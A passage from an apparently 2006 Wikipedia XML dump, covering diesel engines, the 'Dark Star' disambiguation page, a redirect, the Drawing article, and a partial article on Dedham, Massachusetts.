Either an electrical starter or an [[air start system]] is used to start the engine turning. On large engines, pre-[[lubrication]] and slow turning of an engine, as well as heating, are required to minimize the possibility of damaging the engine during initial start-up and running. Some smaller military diesels can be started with an explosive cartridge that provides the extra power required to get the machine turning. In the past, Caterpillar and John Deere used a small gasoline &quot;pony&quot; motor in their tractors to start the primary diesel motor. The pony motor heated the diesel to aid in ignition and utilized a small clutch and transmission to actually spin up the diesel engine. Even more unusual was an International Harvester design in which the diesel motor had its own carburetor and ignition system, and started on gasoline. Once warmed up, the operator moved two levers to switch the motor to diesel operation, and work could begin. These engines had very complex cylinder heads (with their own gasoline combustion chambers) and in general were vulnerable to expensive damage if special care was not taken (especially in letting the engine cool before turning it off).

==Dieseling  in spark-ignition engines==

A gasoline (spark ignition) engine can sometimes act as a compression ignition engine under abnormal circumstances, a phenomenon typically described as &quot;[[engine knocking|pinging]]&quot; or &quot;[[engine knocking|pinking]]&quot; (during normal running) or &quot;[[dieseling]]&quot; (when the engine continues to run after the electrical ignition system is shut off). This is usually caused by hot carbon deposits within the combustion chamber that act as would a &quot;[[glow plug]]&quot; within a diesel or model aircraft engine. Excessive heat can also be caused by improper ignition timing and/or fuel/air ratio which in turn overheats the exposed portions of the [[spark plug]] within the combustion chamber.

==Fuel and fluid characteristics==
{{main|Diesel}}
Diesel engines can operate on a variety of different fuels, depending on configuration, though the eponymous [[diesel fuel]] derived from [[crude oil]] is most common.  Good-quality diesel fuel can be synthesised from [[vegetable oil]] and [[alcohol]].  [[Biodiesel]] is growing in popularity since it can frequently be used in unmodified engines, though production remains limited.  Petroleum-derived diesel is often called &quot;petrodiesel&quot; if there is need to distinguish the source of the fuel.

The engines can work with thicker, heavier oil, or oil with higher [[viscosity]], as long as it is heated to ease pumping and injection. These fuels are cheaper than clean, refined diesel oil, although they are dirtier.  The biofuels [[straight vegetable oil]] (SVO) and [[waste vegetable oil]] (WVO) can fall into this category.  Moving beyond that, use of low-grade fuels can lead to serious maintenance problems. Most diesel engines that power ships like supertankers are built so that the engine can safely use low grade fuels.

[[Ethanol]] is also used in some cases, since it has a high [[octane rating]] which means it can be highly compressed before spontaneously igniting.  One way this is used is in [[E95 fuel]] which actually contains 5% [[gasoline]] along with 95% ethanol.

Normal diesel fuel is more difficult to ignite than gasoline because of its higher [[flash point]], but once burning, a diesel fire can be fierce.

==Diesel applications==

The vast majority of modern heavy road vehicles ([[truck]]s), [[ship]]s, large-scale portable power generators, most farm and mining vehicles, and many long-distance [[locomotive]]s have diesel engines. However, in the [[United States|U.S.]] they are not as popular in passenger vehicles as they are in [[Europe]] as they are perceived as being heavier, noisier, of having performance characteristics which makes them slower to accelerate, and of being more expensive than petrol vehicles. In addition, before the mandatory reduction of sulphur in on-road diesel fuel to 15 parts per million, which will start at [[15 October]] [[2006]] in the U.S. ([[1 June]] [[2006]] in Canada), diesel fuel used in North America has higher sulphur content than the fuel used in Europe, effectively limiting diesel use to industrial vehicles. [[Image:mbe4000.jpg|frame|Mercedes Benz MBE 4000 350-450HP (261-336kW)]]

In Europe, where tax rates in many countries make diesel fuel much cheaper than petrol, diesel vehicles are very popular and newer designs have significantly narrowed differences between petrol and diesel vehicles in the areas mentioned. One anecdote tells of [[Formula One]] driver [[Jenson Button]], who was arrested while driving a diesel-powered [[BMW]] [[coupe]] at 230 [[km/h]] (about 140 mph) in [[France]], where he was too young to have a petrol-engined car hired to him. Button dryly observed in subsequent interviews that he had actually done BMW a public relations service, as nobody had believed a diesel could be driven that fast. The BMW diesel lab in Steyr, [[Austria]] is led by Ferenc [[Anisits]] and is considered to be a leader in development of automotive diesel engines. Similarly, [[Mercedes Benz]] had a successful run of diesel-powered passenger cars in the late 1970s and 1980s. After a hiatus in the 1990s with relatively few diesel cars in its lineup, Mercedes Benz has revived diesel cars in its newer ranges with an emphasis on high performance.

A few [[motorcycles]] have been built using diesel engines, but the weight and cost disadvantages generally outweigh the efficiency gains in this application.

;High-speed
:High-speed (approximately 1200 [[rpm]] and greater) engines are used to power lorries ([[truck]]s), [[bus]]es, [[tractor]]s, [[automobile|car]]s, [[yacht]]s, [[compressor]]s, [[pump]]s and small [[generator (device)|generator]]s.

;Medium-speed
:Large electrical generators are driven by [[medium speed engines]], (approximately 300 to 1200 [[rpm]]) optimised to run at a set speed and provide a rapid response to load changes.

;Low-speed
: The largest diesel engines are used to power [[ship]]s. These monstrous engines have power outputs over 80[[MW]], turn at about 60 to 100 [[rpm]], and are up to 15m tall. They often run on cheap low-grade fuel, which require extra heat treatment in the ship for tanking and before injection due to their low [[volatility]]. Companies such as [[Burmeister &amp; Wain]] and [[Wärtsilä]] (e.g., [[Sulzer]] Diesels) design such large [[low speed engine]]s. They are unusually narrow and tall due to the addition of a [[crosshead bearing]]. Today (2005), the [[Wärtsilä-Sulzer RTA96-C]] turbocharged two-stroke diesel engine is the most powerful and most efficient prime-mover in the world, with cylinder bores of 960mm (38 in) and stroke of 2500mm (98 in), producing up to 80MW (110,000 hp) in the 14-cylinder configuration.

===Unusual applications===
====Aircraft====

''Main article: [[aircraft diesel engine]]''

The [[zeppelin]]s ''Graf Zeppelin II'' and [[Hindenburg_disaster|''Hindenburg'']] were propelled by ''reversible'' diesel engines.  The direction of operation was changed by shifting gears on the camshaft.  From full power forward, the engines could be brought to a stop, changed over, and brought to full power in reverse in less than 60 seconds.  

Diesel engines were first tried in aircraft in the 1930s with the [[Junkers Jumo 205]], which was moderately successful, but proved unsuitable for combat use in WWII.  Another proposal was the complex [[Napier Nomad]].  In general, though, the lower power-to-weight ratio of diesels, particularly compared to [[kerosene]]-powered [[turboprop]] engines, has precluded their use in this application.

The very high cost of [[avgas]] in Europe, and the advances in automotive diesel technology, have seen renewed interest in the concept.  New, certified diesel-powered light planes are already available, and a number of other companies are also developing new engine and aircraft designs for the purpose.  Many of these run on the readily-available jet fuel, or can run on both jet fuel or conventional automotive diesel.  

====Automobile racing====
Although the weight and lower output of a diesel engine tend to keep them away from automotive racing applications, there are many diesels being raced in classes that call for them, mainly in truck racing, as well in types of racing where these drawbacks are less severe, such as [[land speed record]] racing. [http://www.cumminsracing.com/ Diesel engined dragsters] even exist, despite the diesel's drawbacks being central to performance in this sport.  In 1952, [http://www.cummins.com/eu/pages/en/whoweare/cumminshistory.cfm Cummins Diesel] won the pole at the [[Indianapolis 500]] race with a supercharged 3 liter diesel car, relying on torque and fuel efficiency to overcome weight and low peak power, and led most of the race until the badly situated air intake of the car swallowed enough debris from the track to disable the car.

Recently, there had been a renewed interest in racing with diesel engine and the VAG is one of the best example. Their DAKAR rally entrants for 2005 and 2006 are powered by their own line of TDI engines. Meanwhile, the five time Le Mans winner Audi R8 race car is going to be replaced by the [[Audi R10]] in Le Mans 2006, which is powered by a 650 HP (485kW)  and 1100N·m (810 lbf·ft) V12 TDI Common Rail diesel engine; however, the significance of this is lessened by the fact that the race rules favour diesels[http://www.orlandosentinel.com/classified/automotive/orl-lede906feb09,0,1268454.story?coll=orl-automotive-headlines].

==Current and future developments==

Already, many common rail and unit injection systems employ new injectors using stacked [[piezoelectric]] crystals in lieu of a solenoid, which gives finer control of the injection event. 

[[Variable geometry turbochargers]] have flexible vanes, which move and let more air into the engine depending on load. This technology increases both performance and fuel economy.  Boost lag is reduced as turbo impeller inertia is compensated for.

A technique called accelerometer pilot control (APC) uses a sensor called an [[accelerometer]] to provide feedback on the engine's level of noise and vibration and thus instruct the ECU to inject the minimum amount of fuel that will produce quiet combustion and still provide the required power (especially while idling.) 

The next generation of common rail diesels are expected to use variable injection geometry, which allows the amount of fuel injected to be varied over a wider range, and variable valve timing similar to that on [[gasoline engines]].

At least in the US, diesels will slowly face displacement by tougher emissions regulations. Other methods to achieve even more efficient combustion, such as [[HCCI]] (homogeneous charge compression ignition), are being studied.

==Modern diesel facts==

''(Source: [[Robert Bosch]] GmbH)''

Fuel passes through the injector jets at speeds of nearly 1500 miles per hour (2400 km/h) – as fast as the top speed of a jet plane.

Fuel is injected into the combustion chamber in less than 1.5ms – about as long as a camera flash.

The smallest quantity of fuel injected is one cubic millimetre – about the same volume as the head of a pin.  The largest injection quantity at the moment for automobile diesel engines is around 70 cubic millimetres.

If the camshaft of a six-cylinder engine is turning at 4500 rpm, the injection system has to control and deliver 225 injection cycles per second.

On a demonstration drive, a Volkswagen 1-liter diesel-powered car used only 0.89 liter of fuel in covering 100 kilometers – making it probably the most fuel-efficient car in the world.  Bosch’s high-pressure fuel injection system was one of the main factors behind the prototype’s extremely low fuel consumption.  Production record-breakers in fuel economy include the Volkswagen Lupo 3L TDI and the Audi A2 3L 1.2 TDI with standard consumption figures of 3 liters of fuel per 100 kilometers.  Their high-pressure diesel injection systems are also supplied by Bosch.

In 2001, nearly 36% of newly registered cars in Western Europe had diesel engines. By way of comparison: in 1996, diesel-powered cars made up only 15% of the new car registrations in Germany. Austria leads the league table of registrations of diesel-powered cars with 66%, followed by Belgium with 63% and Luxembourg with 58%.  Germany, with 34.6% in 2001, was in the middle of the league table. Sweden is lagging behind, in 2004 only 8% of the new cars had diesel engine. Sweden`s fleet of cars is for the most part made up of old, large and petrol-fitted Volvos and Saabs. 

In 1998, for the very first time in the history of the legendary 24-hour race at the [[Nürburgring]], a diesel-powered car was the overall winner – the BMW works team 320d, fitted with modern high-pressure diesel injection technology from Bosch.

==Diesel Car History==
Some facts about some of the older diesels by [http://www.christiantena.co.uk Philip Christian]

The first production diesel car is widely believed to be the Mercedes 260D introduced in 1936, although I believe that Citroen had a small production run at about that time too.

The first production turbo diesel car was the Peugeot 604 turbo diesel with a 2.3 litre turbo diesel introduced in 1979.

Many Audi enthusiasts claim that the Audi 100 TDI was the first turbo charged direct injection diesel sold in 1989, but actually it isn't true, as the Fiat Croma, and also the Austin Rover Montego were sold with turbo direct injection in 1988.  What was pioneering about the Audi 100 however was the use of electronic control of the engine, as the Fiat and Austin had purely mechanically controlled injection.

The electronic control of direct injection really made a difference in terms of emissions, refinement and power.

It's interesting to see that the big players in the diesel car market are the same ones who pioneered various developments (Mercedes, Peugeot/Citroen, Fiat, VW/Audi) with the sad exception of Austin Rover.

==See also==
* [[Napier Deltic]] - A high-speed, lightweight (about 4 [[ton]]s&lt;!--which tons?--&gt;) diesel engine used in fast naval craft and some railway locomotives.
* [[Junkers Jumo 205]] - The most successful of the first series of production diesel aircraft engines. 
* [[Elsbett]] - An improved multi-fuel diesel engine design
* [[Wärtsilä-Sulzer RTA96-C]] - World's most powerful, most efficient and largest diesel engine.

==External links==
* {{US patent|608845}}
* [http://auto.howstuffworks.com/diesel.htm/ HowStuffWorks Article]
* [http://www.bath.ac.uk/~ccsshb/12cyl/ The Most Powerful Diesel Engine in the World]
* [http://www.cumminsracing.com Cummins Racing, home of the world's fastest diesel dragster...]
* [http://www.southerngrease.com/learn.htm Alternative Diesel Fuels - A beginner's tutorial on using renewable fuels in diesel engines]
* [http://www.kayotix.com/tmp/newsfeeds/18.01.06/vegoiltax/ News story on tax duty irregularities on using alternative vegetable oil to fuel your diesel engine]

[[Category:Piston engines]]
[[Category:Engine technology]]
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[[fr:Moteur Diesel]]
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[[ko:디젤 엔진]]
[[id:Mesin diesel]]
[[it:Motore Diesel]]
[[he:מנוע דיזל]]
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[[ja:ディーゼルエンジン]]
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[[pl:Silnik wysokoprężny]]
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[[ru:Дизельный двигатель]]
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[[uk:Дизельний двигун]]</text>
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  </page>
  <page>
    <title>Dark Star</title>
    <id>8541</id>
    <revision>
      <id>36119655</id>
      <timestamp>2006-01-21T19:48:32Z</timestamp>
      <contributor>
        <ip>81.203.58.154</ip>
      </contributor>
      <comment>Added Dark Star the metal band</comment>
      <text xml:space="preserve">The term '''Dark Star''' may refer to:
* [[Dark star]], a star whose gravity is strong enough to trap light.
* [[Dark Star (brewery)]], in Sussex, England.
* [[Dark Star (horse)]], an American racehorse who won the 1953 Kentucky Derby
* [[Dark Star (film)|''Dark Star'' (film)]], a 1973 film
* [[Dark Star (band)]], a psychedelic punk band
* [[Dark Star (metal band)]], a 80's metal band [http://www.nwobhm.com/dstar.htm]
* [[Dark Star (novel)|''Dark Star'' (novel)]], by [[Alan Furst]]
* [[Dark Star (song)]], a song by the [[Grateful Dead]]
* &quot;Dark Star&quot;, a song by [[Deine Lakaien]]
* &quot;Dark Star&quot;, a song on the Crosby, Stills &amp; Nash album ''[[CSN (album)|CSN]]''
* &quot;Dark Star&quot;, the second movement of Mike Oldfield's ''[[Tubular Bells II]]''

'''Dark Star''' may also refer to:
* [[RQ-3 Dark Star]], a military drone operated by the United States from 1996 to 1999
* [[The Rappers Rap Group]], a group of rap artists in the 1980s

==See also==
* [[Darkstar]], a disambiguation page for the single-word version

{{disambig}}

[[de:Dark Star]]
[[sv:Dark Star]]</text>
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  <page>
    <title>District of Columbia</title>
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      <id>28404823</id>
      <timestamp>2005-11-15T15:34:26Z</timestamp>
      <contributor>
        <username>Eoghanacht</username>
        <id>203711</id>
      </contributor>
      <minor />
      <comment>R with possibilities</comment>
      <text xml:space="preserve">#redirect [[Washington, D.C.]] {{R with possibilities}}</text>
    </revision>
  </page>
  <page>
    <title>Drawing</title>
    <id>8544</id>
    <revision>
      <id>41659671</id>
      <timestamp>2006-02-28T21:54:52Z</timestamp>
      <contributor>
        <ip>84.9.96.118</ip>
      </contributor>
      <comment>/* Other */</comment>
      <text xml:space="preserve">:''This article is about the art form. [[Drawing (manufacturing)|Drawing]] also refers to a method of producing wire, bars, or tubes.''

'''Drawing''' is a means of making an [[image]], using any of a wide variety of tools and techniques.  It generally involves making marks on a surface by applying pressure from a tool, or moving a tool across a surface.  Common tools are [[graphite]] [[pencil]]s, [[pen and ink]], [[ink]]ed [[brush]]es, wax [[color pencil]]s, [[crayon]]s, [[charcoal]]s, [[pastel]]s, and [[marker pen|marker]]s.  Digital tools which simulate the effects of these are also used. The main techniques used in drawing are: line drawing, [[hatching]], crosshatching, random hatching, scribbling, [[stippling]], and blending.  An artist who excels in drawing is referred to as a ''draftsman'' or ''draughtsman''.

[[Image:Beardsley-peacockskirt.PNG|thumb|right|200px|&quot;The peacock skirt,&quot; by [[Aubrey Beardsley]], 1892]]

==Definitions==

Drawing is generally considered distinct from [[painting]], in which colored [[pigment]]s are suspended in a liquid [[medium]] and usually applied with a brush.  [[Etching]] is similar to drawing but differs in that the tool digs into the surface, which is then used to make prints on a separate surface.

One standard for differentiating drawing from painting is that it does not permit the artist to mix colors before applying them; colors can only be blended on the drawing surface, usually by overlaying one upon the other or by putting them close enough together that the eye &quot;mixes&quot; them.

These distinctions are somewhat arbitrary and subject to change; some artists refer to fully-rendered pastel and colored-pencil compositions as &quot;paintings&quot;, and in nineteenth century usage &quot;drawing&quot; also encompassed the use of [[watercolor]]s.  In digital media, &quot;drawing&quot; often refers to the use of vector-based graphics programs, as distinguished from bitmap-based &quot;painting&quot; software, but this distinction is not universal.

==Subject matter==
[[Image:Frans_Koppelaar_-_Mother.jpg|thumb|right|''My mother knitting'', 1993, crayon on paper, by [[Frans Koppelaar]]]]
All drawings are representational, depicting objects or scenes which the artist views, remembers, or imagines.  They may be realistic to the point of lifelike resemblance (e.g. traditional [[portrait]]s), looser approximations of reality (e.g. [[sketch (drawing)|sketch]]es), highly stylized (e.g. [[cartoon]]s, [[caricature]]s), or [[Abstract art|abstract]] (e.g. [[automatic drawing]], [[Surrealist techniques#Entoptic graphomania|entoptic graphomania]]).

==Media==

The medium is the means by which ink, pigment, or color are delivered onto the drawing surface.  Most drawing media are either dry (e.g. graphite, charcoal, pastel, [[Conté]], [[silverpoint]]), or water-based (marker, pen and ink).  Watercolor pencils can be used dry like ordinary pencil, then moistened with a wet brush to get various painterly effects. Very rarely, artists have drawn with (usually decoded) [[invisible ink]].

==Materials==
Paper comes in a variety of different sizes and qualities, ranging from newspaper grade for practice up to high quality and relatively expensive paper sometimes sold as individual sheets. Papers can vary in texture, hue, acidity, and strength when wet. Smooth paper is good for rendering fine detail, but a more &quot;toothy&quot; paper will hold the drawing material better. Thus a more coarse material is useful for producing deeper contrast.

For pen and ink work, typing paper is often used for practice drawings, but heavier paper holds up better. Bristol board makes a hard surface that is especially good for ink or fine detailed graphite drawing. Coldpressed watercolor paper is sometimes favored for ink drawing due to its texture. Tracing vellum is often used for experimenting on top of a pencil drawing, prior to committing a technique to the final page.

Various tools are routinely used in the process of drawing.  These include a [[pencil sharpener]], [[sandpaper]], [[kneaded eraser]], [[blending stub]]s, and [[chamois]]. Other tools that sometimes prove useful are [[tracing paper]], a [[circle compass]], [[ruler]], [[frisket film]], [[fixative]], and [[drafting tape]]. The use of an easel or slanted table reduces the distorting effects of perspective.

==Aspects of the drawing process==

===Applying media===
Prior to working on an image, the artist will likely want to gain an understanding of how the various media will work. The different drawing implements can be tried on practice sheets to see what type of pattern they create, and how to apply the implement in order to produce varying tones.

[[image:leonardo_self.jpg|right|250px|thumb|Line drawing in [[red chalk|sanguine]] by [[Leonardo da Vinci]]]]
The stroke of the drawing implement can be used to control the appearance of the image. Ink drawings typically use hatching, which consists of groups of parallel lines. Cross-hatching uses hatching in two or more different directions to create a darker tone. Broken hatching, or lines with intermittent breaks, is used to form lighter tones, and by controlling the density of the breaks a graduation of tone can be achieved. Finally stippling, or random placement of dots on a page, can also be used to produce a [[texture]] or [[shade]].

Sketch drawings use similar techniques, although with pencils and drawing sticks continuous variations in tone can be achieved. For best results the lines in a sketch are typically drawn to follow the contour curves of the surface, thus producing a depth effect. When drawing hair, the lines of the sketch follow the direction of the hair growth.

Typically a drawing will be filled in based on which hand the artist favors. A right-handed artist will want to draw from left to right in order to avoid smearing the image. Sometimes the artist will want to leave a section of the image blank while filling in the remainder of the picture. A ''frisket'' can be used for this purpose. The shape of the area to be preserved is cut out of the frisket, and the resulting shape is then applied to the drawing surface. This will protect the surface from receiving any stray marks before it is ready to be filled in.

Another method to preserve a section of the image is to apply a spray-on ''fixative'' to the surface. This will hold loose material more firmly to the sheet and prevent it from smearing. However the fixative spray typically uses chemicals that can negatively affect the respiratory system, so it should be employed in a well-ventilated area such as outdoors.

===Tone===
Shading is the technique of varying the tonal values on the paper to represent the shade of the material as well as the placement of the shadows. Careful attention to reflected light, shadows, and highlights can result in a very realistic rendition of the image.

Blending uses an implement to move the drawing material on the paper so as to hide the original drawing strokes. This can only be done when drawing with a material such as graphite or charcoal that is not permanently attached once applied. When shading and blending is needed, the artist can employ a combination of a [[Tortillon|tortillon blending stump]], [[chamois]] or [[Tissue|soft tissue]], and a specialized putty-rubber [[eraser]]. The chamois cloth in particular is useful for creating smooth textures, and for removing material to lighten the tone.

There are a number of methods for producing texture in the picture. In addition to choosing a suitable paper, the type of drawing material and the drawing technique will result in different textures.

Texture can be made to appear more realistic when it is draw next to a contrasting texture. Thus a coarse texture placed next to a smoothly blended area will appear more notable. A similar effect can be achieved by drawing different tones in close proximity. A light edge next to a dark background will stand out to the eye, and almost appear to float above the surface.

In most drawing mediums, but especially in ink, realistic renditions of an object or structure avoid outlinining the form and features. Otherwise the image may resemble a paint-by-numbers figure from a coloring book. Instead the shape of the structure is portrayed almost entirely through tones and shading, including contrast with the background.

===Layout===
Measuring the dimensions of a subject while blocking in the drawing is an important step in producing a realistic rendition of the actual subject. A straight drawing implement held horizontally or vertically can be used to measure the angles of different sides. These angles can be reproduced on the drawing surface and then rechecked to make sure they are accurate. Another form of measurement is to compare the relative sizes of different parts of the subject with each other. A finger placed at a point along the drawing implement can be used to compare that dimension with other parts of the image.

A [[grid]] can be used to produce a more accurate portrayal of a [[photograph]]. The image is subdivided into equally spaced horizontal and vertical lines. A scaled version of these lines is drawn lightly on the paper, and the outlines of the significant features are copied onto the drawing. A similar approach when using an easel is to mount a small, heavy paper frame through which the artist can view the scene. The image on the paper is then scaled in reference to this frame.

[[image:ENC plate 1-143 750px.jpeg|thumb|250px|Anatomical drawing of the human muscles from the ''[[Encyclopédie]]''.]]
When attempting to draw a complicated shape such as a human figure, it is helpful at first to represent the form with a set of primitive shapes. Almost any form can be represented by some combination of the cube, sphere, cylinder, and cone. Once these basic shapes have been assembled into a likeness, then the drawing can be refined into a more accurate and polished form. The lines of the primitive shapes are removed and replaced by the final likeness.

A more refined art of [[figure drawing]] relies upon the artist possessing a deep understanding of anatomy and the human proportions. A trained artist is familiar with the skeleton structure, joint location, muscle placement, tendon movement, and how the different parts work together during movement. This allows the artist to render more natural poses that do not appear artificially stiff. The artist is also familiar with how the proportions vary depending on the age of the subject, particularly when drawing a portrait.

===Perspective===
[[Linear perspective]] is a method of portraying objects on a flat surface so that the dimensions shrink with distance. The parallel, straight edges of any object, whether a building or a table, will follow lines that eventually converge at infinity. Typically this point of convergence will be along the horizon, as buildings are built level with the flat surface. When multiple structures are aligned with each other, such as buildings along a street, the horizontal tops and bottoms of the structures will all typically converge at a vanishing point.

[[Image:2-punktperspektive.png|thumb|right|250px|Two point perspective drawing.]]
When both the fronts and sides of a building are drawn, then the parallel lines forming a side converge at a second point along the horizon (which may be off the drawing paper.) This is a &quot;two-point perspective&quot;. Convering the vertical lines to a point in the sky then produces a &quot;three-point perspective&quot;.

Depth can also be portrayed by several techniques in addition to the perspective approach above. Objects of similar '''size''' should appear ever smaller the further they are from the viewer. Thus the back wheel of a cart will appear slightly smaller than the front wheel. Depth can be portrayed through the use of '''texture'''. As the texture of an object gets further away it becomes more compressed and busy, taking on an entirely different character than if it was close. Depth can also be portrayed by reducing the amount of contrast of more distant objects, and also by making the colors more pale. This will reproduce the effect of '''atmospheric''' haze, and cause the eye to focus primarily on objects drawn in the foreground.

===Artistry===
The [[Composition (visual arts)|composition]] of the image is an important element in producing an interesting work of [[artistic merit]]. The artist plans the placement of elements in the art in order to communicate ideas and feelings with the viewer. The composition can determine the focus of the art, and result in a harmonious whole that is aesthetically appealing and stimulating.

The [[illumination]] of the subject is also a key element in creating an artistic piece, and the interplay of light and shadow is a valuable method in the artist's toolbox. The placement of the light sources can make a considerable difference in the type of message that is being presented. Multiple light sources can wash out any wrinkles in a person's face, for instance, and give a more youthful appearance. In contrast, a single light source, such as harsh daylight, can serve to highlight any texture or interesting features.

When drawing an object or figure, the skilled artist pays attention to both the area within the silhouette and what lies outside. The exterior is termed the negative space, and can be as important in the representation as the figure. Objects placed in the background of the figure should appear properly placed wherever they can be viewed.

A study is a draft drawing that is made in preparation for a planned final image. Studies can be used to determine the appearance of specific parts of the completed image, or for experimenting with the best approach for accomplishing the end goal. However a well-crafted study can be a piece of art onto itself, and many hours of careful work can go into completing a study.

==History==
[[person|People]] have made drawings since [[prehistoric]] times. This [[art]] form first gained widespread popularity among [[European]] [[artists]] during the 1400's, when [[paper]] became generally available. Since that time, each century has produced [[artists]] who have created great drawings.

Masters of drawing in the 1400's and 1500's included [[Leonardo da Vinci]], [[Albrecht Dürer]], [[Michelangelo]], and [[Raphael]]. During the 
1600's, [[Claude]], [[Nicolas Poussin]], [[Rembrandt Harmenszoon van Rijn|Rembrandt]], and [[Peter Paul Rubens]] created important drawings. In the 1700's, great drawings were produced by [[Jean-Honoré Fragonard]], [[Francisco Goya]], [[Giovanni Battista Tiepolo]], and [[Antoine Watteau]]. The masters of drawing during the 1800's included [[Paul Cézanne]], [[Jacques Louis David]], [[Edgar Degas]], [[Theodore Gericault]], [[Jean Ingres]], [[Odilon Redon]], 
[[Henri de Toulouse-Lautrec]], and [[Vincent Van Gogh]]. Great drawings in the 1900's have been created by [[Max Beckmann]], [[Willem De Kooning]], 
[[Jean Dubuffet]], [[Arshile Gorky]], [[Paul Klee]], [[Oscar Kokoschka]], [[Jules Pascin]], [[Pablo Picasso]], and 
[[Jackson Pollock]].

==Computer software==
Drawing may also be done on a [[computer]]. [[Digital art]] is fast becoming one of the most popular means of illustration. See, for example, the computer illustrations of [[Peter Welleman]].

Here are some common [[software]] programs used for [[computer illustration]]:

* [[Adobe Photoshop]]
* [[Adobe Illustrator]]
* [[Paint Shop Pro]]
* [[Corel Painter]]
* [[Pixia]]
* [[Microsoft Paint]]
* [[GIMP|The GIMP]]
* [[Open Canvas]]

==Notable Draftsmen==
* [[Michelangelo Buonarroti]]
* [[Maurits Cornelis Escher]]
* [[Albrecht Dürer]]
* [[Andrew Loomis]]
* [[Rembrandt Harmenszoon van Rijn|Rembrandt]]
* [[Eugeen Van Mieghem]]
* [[Leonardo da Vinci]]

==References==
* J. D. Hillberry, ''Drawing Realistic Textures in Pencil'', North Light Books, [[1999]], ISBN 0-89134-868-9.
* Frank Lohan, ''Pen &amp; Ink Techniques'', Contemporary Books, [[1978]], ISBN 0-8092-7438-8.
* World Book, Inc. ''The World Book Encyclopedia Volume 5'', [[1988]], ISBN 0-7166-0089-7.

==See also==
* [[:Category:Cartoonists]]
* [[Color theory]]
* [[Composition (visual arts)|Composition]]
* [[Diagramming]]
* [[Engineering drawing]]
* [[Figure drawing]]
* [[Multi-Sketch]] 
* [[Traditional animation]]
* [[Technical drawing]]

==External links==
===Famous works===
*[http://www.npg.org.uk/live/search/person.asp?LinkID=mp01777&amp;role=art James Gillray] at The [[National Portrait Gallery (United Kingdom)]].
*[http://www.napoleonguide.com/goyaind.htm Goya's Disasters of War at ''Napoleon Guide'']
*[http://www.artoftheprint.com/artistpages/hogarth_william_arakesprogresscompletesetofeight.htm ''Hogarth's The Rake's Progress'' and other of his works]
**Note: Commercial site.
===Other===
* [http://drawsketch.about.com Drawing Lessons and Resources at About.com]
* [http://home.att.net/~rjnorton/Lincoln79.html Contemporary Sketches of President Abraham Lincoln.]
* [http://www.drawingcenter.org/ Drawing Center]
* [http://www.c4rd.org.uk] [[Centre for Recent Drawing]]
* [http://www.kanaan.org.uk London Drawing Classes]

[[Category:Drawing| ]]

&lt;!--Interlanguage links--&gt;

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[[de:Zeichnung (Kunst)]]
[[es:Dibujo]]
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[[it:Disegno]]
[[ka:გრაფიკა]]
[[he:איור]]
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[[zh:素描]]</text>
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  <page>
    <title>Dedham, Massachusetts</title>
    <id>8545</id>
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      <minor />
      <comment>added link to article on Mother Brook</comment>
      <text xml:space="preserve">[[Image:Dedham,_MA_Seal.jpg|thumb|right|150px|''Seal of Dedham, MA'']]
'''Dedham''' is the county seat of [[Norfolk County, Massachusetts]].  As of the [[2000]] census, the town had a total population of 23,464. It is located on [[Boston, Massachusetts|Boston]]'s southwest border. 

==History==
It was settled in [[1635]] by people from Roxbury and Watertown and incorporated in [[1636]] (making it quite old by American standards), and is the [[county seat]] of [[Norfolk County, Massachusetts|Norfolk County]]. Its motto (and at one time the name of the town) is &quot;Contentment&quot;.

Dedham is home to the [[Fairbanks House, Dedham|Fairbanks House]], the oldest surviving timber frame house in the United States, scientifically dated to 1637. On January 2, 1643, by unanimous vote, Dedham &lt;!--freeman (freemen, surely?)--&gt; authorized the first U.S. taxpayer-funded [[public school]]; &quot;the seed of American education.&quot;  Its first teacher, Rev. Ralph Wheelock, was paid 20 pounds annually to instruct the youth of the community. From these students, their descendants would become presidents of Dartmouth, Yale and Harvard Colleges.  

Other Dedham firsts include the first man-made canal in North America, the [[Mother Brook]], which linked the [[Charles River]] to local mills.  In [[1818]], though citizens were still at this time taxed for the support of ministers and other &quot;public teachers of religion&quot;, Dedham set an important precedent towards the [[Separation of church and state in the United States|separation of church and state]] by selecting a different minister than that chosen by the church, a right of selection that was confirmed by the [[Massachusetts Supreme Judicial Court|Supreme Judicial Court]].  The historic [[Sacco and Vanzetti]] trial in the 1920s was held in the Dedham Courthouse.  [[Dedham pottery]] is a cherished class of antiques, characterized by a distinctive crackle glaze, blue-and-white color scheme, and a frequent motif of rabbits and other animals.

== Geography ==
[[Image:Dedham_ma_highlight.png|300px|right]]
Dedham is located at 42&amp;deg;14'40&quot; North, 71&amp;deg;9'55&quot; West (42.244609, -71.165531){{GR|1}}.  It contains a marker for the U.S. Coast &amp; Geodetic Survey, now the [[U.S. National Geodetic Survey]], showing an elevation of 112.288 feet.

According to the [[United States Census Bureau]], the town has a total area of 27.6 [[square kilometre|km&amp;sup2;]] (10.6 [[square mile|mi&amp;sup2;]]).  27.1 km&amp;sup2; (10.4 mi&amp;sup2;) of it is land and 0.5 km&amp;sup2; (0.2 mi&amp;sup2;) of it is water.  The total area is 1.79% water.

== Demographics ==
As of the [[census]]{{GR|2}} of [[2000]], there are 23,464 people, 8,654 households, and 6,144 families residing in the town.  The [[population density]] is 866.9/km&amp;sup2; (2,244.6/mi&amp;sup2;).  There are 8,908 housing units at an average density of 329.1/km&amp;sup2; (852.2/mi&amp;sup2;).  The racial makeup of the town is 94.51% [[White (U.S. Census)|White]], 1.54% [[African American (U.S. Census)|Black]] or [[Race (U.S. Census)|African American]], 0.16% [[Native American (U.S. Census)|Native American]], 1.87% [[Asian (U.S. Census)|Asian]], 0.04% [[Pacific Islander (U.S. Census)|Pacific Islander]], 0.80% from [[Race (U.S. Census)|other races]], and 1.08% from two or more races.  2.42% of the population are [[Hispanic American|Hispanic]] or [[Latino (U.S. Census)|Latino]] of any race.

There are 8,654 households out of which 30.1% have children under the age of 18 living with them, 56.3% are [[Marriage|married couples]] living together, 11.1% have a female householder with no husband present, and 29.0% are non-families. 23.9% of all households are made up of individuals and 10.4% have someone living alone who is 65 years of age or older.  The average household size is 2.61 and the average family size is 3.14.

In the town the population is spread out with 22.2% under the age of 18, 5.8% from 18 to 24, 31.1% from 25 to 44, 24.2% from 45 to 64, and 16.6% who are 65 years of age or older.  The median age is 40 years.  For every 100 females there are 93.4 males.  For every 100 females age 18 and over, there are 92.0 males.

The median income for a household in the town is $61,699, and the median income for a family is $72,330. Males have a median income of $46,216 versus $35,682 for females. The [[per capita income]] for the town is $28,199.  4.6% of the population and 3.2% of families are below the [[poverty line]].  Out of the total population, 3.9% of those under the age of 18 and 6.5% of those 65 and older are living below the poverty line.

== Points of interest ==
